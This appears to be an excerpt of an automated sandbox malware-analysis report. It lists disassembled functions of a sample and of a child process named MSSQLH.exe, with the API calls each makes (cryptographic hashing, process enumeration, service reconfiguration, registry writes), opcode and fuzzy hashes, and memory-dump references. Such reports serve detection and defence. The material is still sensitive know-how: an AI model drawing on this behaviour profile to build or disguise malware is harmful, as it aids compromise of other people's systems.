Opcode ID: 72042810bb64ab1b1927d923e0d78883f3247659139c334cb67f9fc8d7d32d0d
Instruction ID: cb8f5a7468d81249ce34313bbdc3eafc61b88aec9f83f7c60da4344bb4e117af
Opcode Fuzzy Hash: 72042810bb64ab1b1927d923e0d78883f3247659139c334cb67f9fc8d7d32d0d
Instruction Fuzzy Hash: 3701D73250151AFBCF125F91DD05EDF7B2BAF85350F044026FA1155170C73ACAA1EBA9

Function 0040F3A8 Relevance: 6.0, APIs: 4, Instructions: 48windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(?,?,?), ref: 0040F3D0
GetFocus.USER32 ref: 0040F3E3
GetParent.USER32(?), ref: 0040F3F1
GetNextDlgTabItem.USER32(?,?,00000000), ref: 0040F40D

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Item$EnableFocusMenuNextParent
String ID:
API String ID: 988757621-0
Opcode ID: b2e2a1fb876ab1a217b6c4f13c58348598a73bb06acc7efc6e50c53813604993
Instruction ID: d6097e0882e97449217af8366e982799ae4990e88ddaee0191929f6808660327
Opcode Fuzzy Hash: b2e2a1fb876ab1a217b6c4f13c58348598a73bb06acc7efc6e50c53813604993
Instruction Fuzzy Hash: 9A1130712006019FDB389F60DC19B9BB7B5AF94315F10863EF542A6AE0C778A849CB58

Function 004130F7 Relevance: 6.0, APIs: 4, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,?), ref: 00413123
RegCloseKey.ADVAPI32(00000000,?,?), ref: 0041312C
wsprintfA.USER32 ref: 00413148
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 00413161

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: ClosePrivateProfileStringValueWritewsprintf
String ID:
API String ID: 1902064621-0
Opcode ID: 6a601732a011b64a895aad0f10cae376a8cb7fafb48c47e593a05fa3ac1295bd
Instruction ID: 0d3b95837cbe94ad44c1ae15a50bdc586bd58f567d1487ead0ff698e6d9c820b
Opcode Fuzzy Hash: 6a601732a011b64a895aad0f10cae376a8cb7fafb48c47e593a05fa3ac1295bd
Instruction Fuzzy Hash: DA01D672400615FBCB115FA8EC05FEF3BA8AF48710F048426FA11A6050E7B4DA60CBD8

Function 00411B45 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

GetObjectA.GDI32(00000000,0000000C,?), ref: 00411B83
SetBkColor.GDI32(00000000,00000000), ref: 00411B8F
GetSysColor.USER32(00000008), ref: 00411B9F
SetTextColor.GDI32(00000000,?), ref: 00411BA9

Part of subcall function 00412678: GetWindowLongA.USER32(00000000,000000F0), ref: 00412689

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Color$LongObjectTextWindow
String ID:
API String ID: 2871169696-0
Opcode ID: 86918c243c3078259f734c9e1b8d7217ab7a66ff903e6bac393c61ebd39307b4
Instruction ID: ef963a0d9410da5423764a598d26ef41440638b77c434815b57e41df833bf6f8
Opcode Fuzzy Hash: 86918c243c3078259f734c9e1b8d7217ab7a66ff903e6bac393c61ebd39307b4
Instruction Fuzzy Hash: 3D011A30504108AADF219F64EC49EEE3A64BB04341F148262FA12D42F0E778EAD0DA9D

Function 0041453F Relevance: 6.0, APIs: 4, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(004C7BA0), ref: 0041457A
RtlInitializeCriticalSection.NTDLL(00000000), ref: 0041458C
RtlLeaveCriticalSection.NTDLL(004C7BA0), ref: 00414595
RtlEnterCriticalSection.NTDLL(00000000), ref: 004145A7

Part of subcall function 004144AC: GetVersion.KERNEL32(?,0041454F,?,00413C32,00000010,?,00000000,?,?,?,00413FD0,0041401D,0041357D,00413FD6,0040EAE0,004125FA), ref: 004144BF

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter$InitializeLeaveVersion
String ID:
API String ID: 1193629340-0
Opcode ID: 0772c8b568fad4e528890487ff7eccc1e5b2da8059a3242ef4710ef4eb87d445
Instruction ID: cee13fcb093f7a0fb48b6dd850b288b63eb405698d527e53da4546005b6ab302
Opcode Fuzzy Hash: 0772c8b568fad4e528890487ff7eccc1e5b2da8059a3242ef4710ef4eb87d445
Instruction Fuzzy Hash: B5F0447140421AEFC790EF95EC94ED6B36EFB9431AB404437E64583021E734B955CEAC

Function 00412737 Relevance: 6.0, APIs: 4, Instructions: 29stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 00412744
GetWindowTextA.USER32(?,?,00000100), ref: 00412760
lstrcmp.KERNEL32(?,?), ref: 00412774
SetWindowTextA.USER32(?,?), ref: 00412784

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: TextWindow$lstrcmplstrlen
String ID:
API String ID: 330964273-0
Opcode ID: fe7afa798c23b29ecaac332ce384730c7ebd71de4374f070aff2d9c7358e1180
Instruction ID: 5b6709853898cfa91abcec26aca64cef821fafab4e405a6d83f7090dbb06f135
Opcode Fuzzy Hash: fe7afa798c23b29ecaac332ce384730c7ebd71de4374f070aff2d9c7358e1180
Instruction Fuzzy Hash: F2F01232500019FBCF226F74DD48ADE7B69FB54355F008161F855E1160D7B5C9948F98

Function 0040A46F Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 27memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,hrK,0040A56F,hrK,00000000,00000000,00000000,00000000,?,0040A621,00000010,00405D91,00000000,00000000), ref: 0040A47E
HeapFree.KERNEL32(00000000,00000000,?,0040A621,00000010,00405D91,00000000,00000000), ref: 0040A4B4

Strings

hrK, xrefs: 0040A46F, 0040A494
hrK, xrefs: 0040A484, 0040A48F

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Free$HeapVirtual
String ID: hrK$hrK
API String ID: 3783212868-3647945203
Opcode ID: 33cc3d96fe6d490d5f77b1602358d197ff31d20487c6f087798f840e60b6cd7f
Instruction ID: 4a0990c0ef92b6b13e89c52cb317c539e56c72f2c8a3897c498786bee6827066
Opcode Fuzzy Hash: 33cc3d96fe6d490d5f77b1602358d197ff31d20487c6f087798f840e60b6cd7f
Instruction Fuzzy Hash: 0FF0D034504711EFD765DF18ED89A817BA1FB48711B114AAAF5A5573B0C771AC40CB48

Function 0040A9F8 Relevance: 6.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.NTDLL ref: 0040AA05
RtlInitializeCriticalSection.NTDLL ref: 0040AA0D
RtlInitializeCriticalSection.NTDLL ref: 0040AA15
RtlInitializeCriticalSection.NTDLL ref: 0040AA1D

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: e76c9614f9120a50dcd688cdc98315de07ab4dddfe73bd55652deb1fe8f5ee79
Instruction ID: 616d0e2e19da71c21557a037a466e974a892ae2e34e7e0bb0e0d61b1a33fb764
Opcode Fuzzy Hash: e76c9614f9120a50dcd688cdc98315de07ab4dddfe73bd55652deb1fe8f5ee79
Instruction Fuzzy Hash: C2C00231C0003ABBCF1A2B65FE0698A3F66EB442A03050AF6A208520708A221C20EFD8

Function 00406D99 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 00406DAD

Strings

, xrefs: 00406DD2
, xrefs: 00406DF6

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: 4f285dfb7db665d207f43749d4cd2a9764227f5579b6c45a6b87369ad81e5317
Instruction ID: d2c8e3cdc538120536bba5e904af6acd39ce663ffa6005346399e60d9f7bef83
Opcode Fuzzy Hash: 4f285dfb7db665d207f43749d4cd2a9764227f5579b6c45a6b87369ad81e5317
Instruction Fuzzy Hash: 7F4124310042986EEB168714DD5DFFB3FA89B0A700F1500FAD546EA1D3C3394E688BAE

Function 00413611 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetMenuCheckMarkDimensions.USER32 ref: 0041361D
LoadBitmapA.USER32(00000000,00007FE3), ref: 004136E4

Strings

, xrefs: 0041362C

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: BitmapCheckDimensionsLoadMarkMenu
String ID:
API String ID: 2557599799-3916222277
Opcode ID: 8fa547d708b8d2655293499ca84071bd9f7b23ebdca9e7390fd9726fb6b68499
Instruction ID: 048e5e4f17cddbaa9fedd7d22d9b638b2c8753d99a5463afe8a525f49a168f6e
Opcode Fuzzy Hash: 8fa547d708b8d2655293499ca84071bd9f7b23ebdca9e7390fd9726fb6b68499
Instruction Fuzzy Hash: B521D672E00215BFDB20CF68DC85BEE7B74EB84715F0541B6E505EB381D6749A858B44

Function 00402FF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040302C
MessageBoxA.USER32(00000000,?,error,00000010), ref: 00403076

Strings

error, xrefs: 0040306E

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Messagewsprintf
String ID: error
API String ID: 300413163-1574812785
Opcode ID: 742fd9ddde86143d4ca87b97da8bbaee38ecaa939a1907c98e22bcefbec9ad42
Instruction ID: 9d21d2e581f1292a921fe989fe56bafb105a291427b0751b2a79f7b2e19dc342
Opcode Fuzzy Hash: 742fd9ddde86143d4ca87b97da8bbaee38ecaa939a1907c98e22bcefbec9ad42
Instruction Fuzzy Hash: D60179755452006FEA24DF14EC45FEB77A8AB88701F00492DF985A33D4D6B8DD448BAA

Function 00404FB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(00000000), ref: 00404FF1
GetSystemMetrics.USER32(00000001), ref: 00404FF9

Strings

qP@, xrefs: 00404FDA

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID: qP@
API String ID: 4116985748-1712703409
Opcode ID: a27c3b5c2d241777a6a1ce619a205acae582ba2340451b4b8b630718699dfe1f
Instruction ID: d8ea527a47d83e75dc1fe1e35aa30b43fef9421cb1b6e8384bd52a8dd9b532ce
Opcode Fuzzy Hash: a27c3b5c2d241777a6a1ce619a205acae582ba2340451b4b8b630718699dfe1f
Instruction Fuzzy Hash: E9F03031508B42DAC7219A319C0462FB6D0FB80358F509C3FE695A6191E738D841DF99

Function 00414ACA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00414ACF
CloseHandle.KERNEL32(?,?,?,0041341B), ref: 00414AED

Strings

w5A, xrefs: 00414ADB

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: CloseH_prologHandle
String ID: w5A
API String ID: 3649405652-219485303
Opcode ID: 87a364f53f3fe2c8ffa7136a157b6e6f83c63ce1c30dc44437187d96722df993
Instruction ID: c571235db10c21bf45a4d4dbf3cc00a5ced386d461de5f894946af01d1e15f8a
Opcode Fuzzy Hash: 87a364f53f3fe2c8ffa7136a157b6e6f83c63ce1c30dc44437187d96722df993
Instruction Fuzzy Hash: 6AF0A030910610DBCB24AF58D5097DEBBF8EF44326F11C26FE012A3691C7BC8A40CB98

Analysis Process: MSSQLH.exePID: 6516, Parent PID: 4948COMMON

Execution Graph

Execution Coverage:	7.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.7%
Total number of Nodes:	1598
Total number of Limit Nodes:	74

Executed Functions

Function 00402746 Relevance: 23.3, APIs: 12, Strings: 1, Instructions: 578
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextA.ADVAPI32(00000000,0044BF57,0044BF57,00000001,F0000000), ref: 004027B9
CryptAcquireContextA.ADVAPI32(00000000,0044BF57,0044BF57,00000001,00000000), ref: 00402807
CryptCreateHash.ADVAPI32(00000000,00000000,00000000,00000000,00000000), ref: 00402859
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00402897

Strings

0123456789ABCDEF, xrefs: 00402AE0

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: Crypt$Context$Acquire$CreateHashRelease
String ID: 0123456789ABCDEF
API String ID: 3535039526-2554083253
Opcode ID: 30aebcb42a797fa7ad2f338abfc6148161e93fc7eee60f15fa92c3c676dac212
Instruction ID: 7d4bf983c42dd2b07a33a876f8ec60b44e656a12faa90999c1341e993b70156f
Opcode Fuzzy Hash: 30aebcb42a797fa7ad2f338abfc6148161e93fc7eee60f15fa92c3c676dac212
Instruction Fuzzy Hash: E5129671E40318BBEB00AFA1ED8AF9E7B74FF04704F10406AF614BA2D1E7B565548B59

Function 00405840 Relevance: 7.9, APIs: 5, Instructions: 429
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 004058AB
Process32First.KERNEL32(000000FF,00000000), ref: 00405988
CloseHandle.KERNEL32(000000FF), ref: 00405B04
Process32Next.KERNEL32(000000FF,00000000), ref: 00405BC5
FindCloseChangeNotification.KERNELBASE(000000FF,?,?,?,?,00000000,00000000,00000000,00000004), ref: 00405CAF

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649923023.0000000000426000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649937597.000000000042B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649968518.0000000000468000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.000000000046B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.1649983312.0000000000483000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSSQLH.jbxd

Yara matches

Similarity

API ID: CloseProcess32$ChangeCreateFindFirstHandleNextNotificationSnapshotToolhelp32
String ID:
API String ID: 1974561565-0
Opcode ID: e33522bf8796ca80724aa28a8785844a48b7f0bf09435045055b5bd7a0f327f3
Instruction ID: 9776fcaffaed33e08849e6a1335e17de6c0349d73ec9aea52c584ee047fc37e4
Opcode Fuzzy Hash: e33522bf8796ca80724aa28a8785844a48b7f0bf09435045055b5bd7a0f327f3
Instruction Fuzzy Hash: 5BE13EF1A412429BFB00CF98DCC1B9AB7B1EF59324F280475E506AB381D379B960DB55

Function 0040BF4D Relevance: 7.7, APIs: 5, Instructions: 184
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 0040BF7F
OpenServiceA.ADVAPI32(00000000,00000000,000F01FF), ref: 0040BFC2
ChangeServiceConfigA.ADVAPI32(00000000,FFFFFFFF,?,FFFFFFFF,?,?,00000000,?,?,?,?), ref: 0040C0E5
CloseServiceHandle.ADVAPI32(00000000), ref: 0040C17A
CloseServiceHandle.ADVAPI32(00000000), ref: 0040C1A6

Memory Dump Source

Source File: 00000001.00000002.1649898237.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1649885662.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
